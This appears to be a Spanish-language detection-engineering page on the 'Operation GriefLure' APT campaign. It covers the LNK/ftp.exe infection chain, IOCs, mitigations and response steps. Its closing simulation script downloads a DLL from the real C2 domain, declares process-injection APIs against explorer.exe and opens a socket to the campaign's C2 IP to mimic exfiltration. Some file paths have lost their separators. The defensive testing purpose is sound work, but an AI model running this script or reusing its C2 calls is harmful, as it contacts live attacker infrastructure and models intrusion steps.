Operación GriefLure: Diseccionando una Campaña APT que Apunta a las Telecomunicaciones Militares de Vietnam y al Sector de Salud de Filipinas
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Seqrite Labs identificó una campaña de spear-phishing dirigida que se basó en archivos maliciosos LNK de Windows ocultos dentro de archivos RAR doblemente comprimidos. Al abrirse, el LNK lanzó un ftp.exe cargador nativo que reconstruyó una carga útil polimórfica llamada sfsvc.exe a partir de fragmentos .doc almacenados en la máquina de la víctima. La actividad estaba dirigida a altos ejecutivos dentro del sector de telecomunicaciones propiedad del ejército en Vietnam y al personal de un hospital privado en Filipinas, utilizando documentos con apariencia legítima como cebo. La cadena completa de infección se completó en menos de diez segundos y dejó solo artefactos mínimos en el disco.
Investigación
La investigación desglosó la estructura del archivo, mapeó la ruta de ejecución del LNK y realizó ingeniería inversa del sfsvc.exe cargador personalizado, que fue diseñado para parecerse a regsvr32.exe. Los analistas documentaron la carga lateral de DLL, la ejecución de shellcode en memoria, la inyección de procesos y las comunicaciones de comando y control a través de un dominio disfrazado. La revisión de artefactos también descubrió un dominio C2 codificado, www.whatsappcenter.com, alojado a través de un proveedor blindado en Hong Kong.
Mitigación
Los defensores deberían bloquear la ejecución de archivos LNK entregados a través de adjuntos de correo electrónico y monitorear el uso de ftp.exe con argumentos de línea de comandos sospechosos. La detección en el endpoint debería centrarse en la carga de DLL sin archivo, escrituras de flujo de datos alternativos en C:UsersPublicUpdate, y la rápida creación de sfsvc.exe. Las organizaciones también deberían fortalecer las verificaciones de procedencia de los documentos y educar a los usuarios sobre cebos que parecen ser archivos legales legítimos o relacionados con denunciantes.
Respuesta
Si se detecta el LNK malicioso o el sfsvc.exe proceso, aísle inmediatamente el endpoint afectado, recoja la memoria volátil, y busque 360.*.dll archivos de cargador y artefactos de flujo de datos alternativos. Debería bloquearse el dominio de comando y control identificado y la dirección IP relacionada, y debería comenzar la respuesta al incidente para determinar si se exfiltró algún dato. También se debería llevar a cabo una búsqueda más amplia para detectar actividad similar de los cargadores impulsados por LNK en todo el entorno. ftp.exe loader activity across the environment.
Flujo de Ataque
Detecciones
Archivo LNK potencialmente malicioso con extensión doble (vía línea de comandos)
Ver
Posible ejecución de script de FTP con extensiones poco comunes (vía línea de comandos)
Ver
Ejecución sospechosa desde el perfil de usuario público (vía creación de procesos)
Ver
Software alternativo de acceso remoto / gestión (vía creación de procesos)
Ver
Archivos sospechosos en el perfil de usuario público (vía evento de archivo)
Ver
IOCs (HashSha256) para detectar: Operation GriefLure: Disectando una Campaña APT Dirigida a las Telecomunicaciones Militares de Vietnam y la Atención Sanitaria de Filipinas
Ver
IOCs (SourceIP) para detectar: Operation GriefLure: Disectando una Campaña APT Dirigida a las Telecomunicaciones Militares de Vietnam y la Atención Sanitaria de Filipinas
Ver
IOCs (DestinationIP) para detectar: Operation GriefLure: Disectando una Campaña APT Dirigida a las Telecomunicaciones Militares de Vietnam y la Atención Sanitaria de Filipinas
Ver
Detección de Comunicaciones C2 de Operation GriefLure [Conexión de Red de Windows]
Ver
Detección de Actividad de Operation GriefLure Usando ftp.exe y sfsvc.exe [Creación de Procesos de Windows]
Ver
Ejecución de Simulación
Prerrequisito: La Telemetría y Verificación Previa de Línea de Base deben haber pasado.
Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y narrativa DEBEN reflejar directamente los TTP identificados y apuntar a generar exactamente la telemetría esperada por la lógica de detección. Los ejemplos abstractos o no relacionados conducirán a un diagnóstico incorrecto.
-
Narrativa del Ataque y Comandos:
El atacante, habiendo ganado acceso inicial mediante un archivo adjunto de phishing (T1566.001, T1204.002), elige un enfoque de vivir de la tierra para evitar cargas ejecutables. Usando elcmd.exe(T1059.003) integrado, lanzan un comando de PowerShell de una sola línea que realiza los siguientes pasos:- Descubrimiento – enumerar información del sistema (T1082) y procesos en ejecución (T1057) para decidir sobre un objetivo adecuado para inyección.
- Recolección de Credenciales – leer almacenes de navegadores (T1555.003) y volcar archivos de credenciales (T1552.001) a una carpeta de preparación.
- Recuperación de Carga Útil – descargar una DLL maliciosa desde el dominio C2
www.whatsappcenter.comsobre HTTPS (T1071.001, T1041). - Inyección de Procesos – inyectar la DLL en
explorer.exe(T1055.001) para ganar persistencia y elevar privilegios. - Comunicación C2 – abrir una conexión TCP persistente a
38.54.122.188(la IP codificada) y comenzar a exfilar los datos recolectados.
El paso crítico que satisface la regla Sigma es el intento de conexión de salida al dominio/IP exacto, que será registrado por Sysmon y el firewall de Windows.
-
Script de Prueba de Regresión:
# ------------------------------------------------- # Simulación GriefLure C2 – versión PowerShell # ------------------------------------------------- # 1. Descubrimiento del sistema (T1082, T1057) Get-CimInstance -ClassName Win32_OperatingSystem | Out-Null Get-Process | Select-Object -First 5 | Out-Null # 2. Simular recolección de credenciales (T1555.003, T1552.001) $credStaging = "$env:TEMPcreds.txt" "username=admin`npassword=P@ssw0rd!" | Set-Content -Path $credStaging # 3. Descargar DLL maliciosa desde el dominio C2 codificado (T1071.001, T1041) $c2Domain = "www.whatsappcenter.com" $c2Url = "https://$c2Domain/payload.dll" $dllPath = "$env:TEMPpayload.dll" Invoke-WebRequest -Uri $c2Url -OutFile $dllPath -UseBasicParsing # 4. Inyectar DLL en explorer.exe (T1055.001) $target = (Get-Process -Name explorer).Id $inject = @" using System; using System.Runtime.InteropServices; public class Injector { [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); } "@ Add-Type $inject # (Los pasos de inyección reales se omiten por brevedad; en una prueba real llamarías a las APIs anteriores.) # 5. Abrir socket C2 persistente a la IP codificada (T1041) $c2Ip = "38.54.122.188" $port = 443 $client = New-Object System.Net.Sockets.TcpClient $client.Connect($c2Ip, $port) $stream = $client.GetStream() $payload = [System.Text.Encoding]::UTF8.GetBytes("EXFIL_START") $stream.Write($payload,0,$payload.Length) Start-Sleep -Seconds 5 $stream.Close() $client.Close() -
Comandos de Limpieza:
# Eliminar archivos preparados Remove-Item -Path "$env:TEMPcreds.txt" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPpayload.dll" -Force -ErrorAction SilentlyContinue # Cerrar cualquier conexión TCP persistente (si aún está abierta) Get-NetTCPConnection -RemotePort 443 -RemoteAddress 38.54.122.188 | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force } # Opcionalmente resetear el buffer de Sysmon (para un estado limpio en pruebas repetidas) & "$env:ProgramFilesSysinternalsSysmon.exe" -c sysmon-config.xml